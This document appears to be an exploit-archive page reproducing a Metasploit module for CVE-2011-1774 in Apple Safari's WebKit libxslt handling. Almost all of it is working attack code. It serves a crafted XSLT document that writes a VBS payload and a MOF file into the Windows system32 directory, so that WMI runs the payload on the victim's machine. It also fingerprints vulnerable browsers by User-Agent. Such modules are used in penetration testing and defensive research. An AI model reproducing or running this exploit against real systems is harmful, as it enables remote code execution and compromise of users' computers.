Apple Safari Webkit libxslt Arbitrary File Creation



EKU-ID: 1155 CVE: 2011-1774 OSVDB-ID: 74017
Author: Nicolas Gregoire Published: 2011-10-19 Verified: Verified
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##
# $Id: safari_xslt_output.rb 13987 2011-10-18 07:39:50Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE
 include Msf::Exploit::WbemExec

 def initialize(info = {})
  super(update_info(info,
   'Name'            => 'Apple Safari Webkit libxslt Arbitrary File Creation',
   'Description'     => %q{
     This module exploits a file creation vulnerability in the Webkit
    rendering engine. It is possible to redirect the output of a XSLT
    transformation to an arbitrary file. The content of the created file must be
    ASCII or UTF-8. The destination path can be relative or absolute. This module
    has been tested on Safari and Maxthon. Code execution can be acheived by first
    uploading the payload to the remote machine in VBS format, and then upload a MOF
    file, which enables Windows Management Instrumentation service to execute the VBS.
   },
   'License'         => MSF_LICENSE,
   'Author'          => ['Nicolas Gregoire'],
   'Version'         => '$Revision: 13987 $',
   'References'      =>
    [
     ['CVE', '2011-1774'],
     ['OSVDB', '74017'],
     ['URL', 'http://lists.apple.com/archives/Security-announce/2011/Jul/msg00002.html'],
    ],
   'DefaultOptions'  =>
    {
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'         =>
    {
     'Space' => 2048,
    },
   'Platform'        => 'win',
   'Targets'         =>
    [
     #Windows before Vista
     [ 'Automatic', { } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jul 20 2011'))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Check target before attacking
  agent = request.headers['User-Agent']
  if agent !~ /Windows NT 5\.1/ or agent !~ /Safari/ or agent !~ /Version\/5\.0\.\d/
   print_error("This target isn't supported: #{agent.to_s}")
   send_not_found(cli)
   return
  end

  url =  "http://"
  url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  url += ":" + datastore['SRVPORT'] + get_resource() + "/"

  content = <<-EOS
<?xml-stylesheet type="text/xml" href="#fragment"?>
<!-- Define the DTD of the document
  This is needed, in order to later reference the XSLT stylesheet by a #fragment
  This trick allows to have both the XML and the XSL in the same file
  Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->
<!DOCTYPE doc [
 <!ATTLIST xsl:stylesheet
 id ID #REQUIRED
>]>
<doc>

<!-- Define location and content of the files -->
<mof>
 <location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\wbem\\mof\\#{@mof_name}]]></location>
 <content><![CDATA[#{@mof_content}]]></content>
</mof><vbs>
 <location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\#{@vbs_name}]]></location>
 <content><![CDATA[#{@vbs_content}]]></content>
</vbs>

<!-- The XSLT stylesheet header, including the "sx" extension -->
<xsl:stylesheet id="fragment" version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:sx="http://icl.com/saxon"
  extension-element-prefixes="sx"
  xmlns="http://www.w3.org/1999/xhtml" >
<xsl:output method="xml" indent="yes" />

<!-- The XSLT template -->
<xsl:template match="/">
 <!-- Define some XSLT variables -->
 <xsl:variable name="moflocation" select="//mof/location/text()"/>
 <xsl:variable name="vbslocation" select="//vbs/location/text()"/>
 <!-- Create the files -->
 <sx:output file="{$vbslocation}" method="text">
  <xsl:value-of select="//vbs/content"/>
 </sx:output>
 <sx:output file="{$moflocation}" method="text">
  <xsl:value-of select="//mof/content"/>
 </sx:output>
 <!-- Some output to the browser -->
 <html> </html>
</xsl:template>
</xsl:stylesheet>
</doc>
  EOS

  #Clear the extra tabs
  content = content.gsub(/^\t\t/, '')

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  send_response(cli, content, {'Content-Type'=>'application/xml'})
  handler(cli)

 end

 def exploit
  # In order to save binary data to the file system the payload is written to a VBS
  # file and execute it from there via a MOF
  @mof_name = rand_text_alpha(rand(5)+5) + ".mof"
  @vbs_name = rand_text_alpha(rand(5)+5) + ".vbs"

  print_status("Encoding payload into vbs...")
  payload = generate_payload_exe
  @vbs_content = Msf::Util::EXE.to_exe_vbs(payload)

  print_status("Generating mof file...")
  @mof_content = generate_mof(@mof_name, @vbs_name)
  super
 end

end